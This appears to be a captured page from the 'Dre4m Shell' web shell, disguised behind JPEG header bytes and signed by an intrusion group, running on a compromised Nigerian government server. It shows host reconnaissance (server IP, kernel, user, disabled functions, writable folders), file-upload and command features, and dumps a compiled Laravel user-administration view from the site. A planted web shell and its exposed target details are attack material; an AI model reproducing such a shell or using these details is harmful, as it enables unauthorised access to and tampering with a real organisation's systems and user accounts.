ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.118.205.21
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/32bc62332f449a3572c48d43608d646d7f4ba115.php
<?php $__env->startSection('pageTitle'); ?>
   User Modification
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>


<div id="editModal" class="modal fade">
    <div class="modal-dialog box box-default" role="document">
        <div class="modal-content">
    <div class="modal-header">
      <h4 class="modal-title">User Modification  </h4>
      <button type="button" class="close" data-dismiss="modal" aria-label="Close">
        <span aria-hidden="true">&times;</span>
      </button>
    </div>
    <form class="form-horizontal" id="editLgaModal" name="editLgaModal" role="form" method="POST" >
            <?php echo e(csrf_field()); ?>

    <div class="modal-body">  
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">User Name</label>
            <input type="text" class="col-sm-9 form-control" id="username" readonly>
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Names</label>
            <input type="text" class="col-sm-9 form-control" id="names" name="name" required>
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Email</label>
            <input type="text" class="col-sm-9 form-control" id="email" name="email">
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Divisions</label>
            <select name="division" id="division" class="form-control" required>
                <option value=''>-Select Division-</option>
                <?php $__currentLoopData = $divisionList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                <option value="<?php echo e($b->divisionID); ?>"><?php echo e($b->division); ?></option>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
            </select>
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Roles</label>
            <select name="role" id="role" class="form-control" required>
                <option value=''>-Select Role-</option>
                <?php $__currentLoopData = $Rolelist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                <option value="<?php echo e($b->roleID); ?>"><?php echo e($b->rolename); ?></option>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
            </select>
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Password</label>
            <input type="text" class="col-sm-9 form-control" id="password" name="password">
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Status</label>
            <select name="status" id="status" class="form-control" required>
                <option value=''>-Select Status-</option>
                <option value="1">Active</option>
                <option value="0">InActive</option>
            </select>
        </div>
        <div class="form-group" style="margin: 0 10px;">
            <label class="control-label">Is Global</label>
            <select name="global" id="global" class="form-control" required>
                <option value=''>-Select Status-</option>
                <option value="1">Yes</option>
                <option value="0">No</option>
            </select>
        </div>
        <div class="modal-footer">
            <input type="hidden" id="id" name="id">
            <button type="Submit" name="edit" class="btn btn-success">Save changes</button>
            <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        </div>
     
        
    </div>
      </form>
          </div>
    </div>
</div>
<div class="box box-default">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
    </div>
    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
                    <?php if($warning<>''): ?>
                      <div class="alert alert-dismissible alert-danger">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong><?php echo e($warning); ?></strong> 
                      </div>
                      <?php endif; ?>
                      <?php if($success<>''): ?>
                      <div class="alert alert-dismissible alert-success">
                      <button type="button" class="close" data-dismiss="alert">&times;</button>
                      <strong><?php echo e($success); ?></strong> 
                      </div>
                      <?php endif; ?>
                      <?php if(count($errors) > 0): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <p><?php echo e($error); ?></p>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                <?php endif; ?>
        
                <table class="table table-bordered table-striped table-highlight" >
                    <thead>
                        <tr bgcolor="#c7c7c7">
                               
                            <th > S/N</th>
                            <th > Username</th>
                            <th > Name</th>
                            <th> Email </th>
                            <th > Division</th>
                            <th > Role</th>
                            <th> Is global </th>
                            <th > Status</th>
                            <th > Action</th>   
                        </tr>
                    </thead>
                    <?php $i=1;?>
                        <?php $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $con): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <tr>
                        <td><?php echo e($i++); ?></td>
                        <td><?php echo e($con->username); ?></td>
                        <td><?php echo e($con->name); ?></td>
                        <td><?php echo e($con->email_address); ?></td>
                        <td><?php echo e($con->division); ?></td>
                        <td><?php echo e($con->rolename); ?></td>
                        <td>
                            <?php if($con->is_global == 1): ?>
                                Yes
                            <?php else: ?>
                                No
                            <?php endif; ?>
                        </td>
                        <td>
                            <?php if($con->status == 1): ?>
                                Active
                            <?php else: ?>
                                Inactive
                            <?php endif; ?>
                        </td>
                        <td>
                            <button type="button" class="btn btn-primary fa fa-edit" onclick="editfunc('<?php echo e($con->id); ?>', '<?php echo e($con->username); ?>', '<?php echo e($con->name); ?>','<?php echo e($con->email_address); ?>','<?php echo e($con->roleID); ?>','<?php echo e($con->status); ?>', '<?php echo e($con->divisionID); ?>', '<?php echo e($con->is_global); ?>' )" class="" id=""> Edit</button>
                        </td>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </tr>
                </table>
          <hr />
          <div>
            <?php echo e($users->links()); ?>

        </div>
        </div>
       
  </div>
</div>
</div>
</div>



<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<style type="text/css">
    .modal-dialog {
width:10cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

</style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script>
    function editfunc(id,usernane,names,email,roleID,status,division,global)
    {
    $(document).ready(function(){
        $('#username').val(usernane);
        $('#names').val(names);
        $('#email').val(email);
        $('#role').val(roleID);
        $('#status').val(status);
        $('#division').val(division);
        $('#global').val(global);
         $('#id').val(id);
        $("#editModal").modal('show');
     });
    }

    function delfunc(a)
  {
  $(document).ready(function(){
  $('#conID').val(a);
  $("#delModal").modal('show');
  });
  }

    
</script>

    </script>

<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/auth/modify_user.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team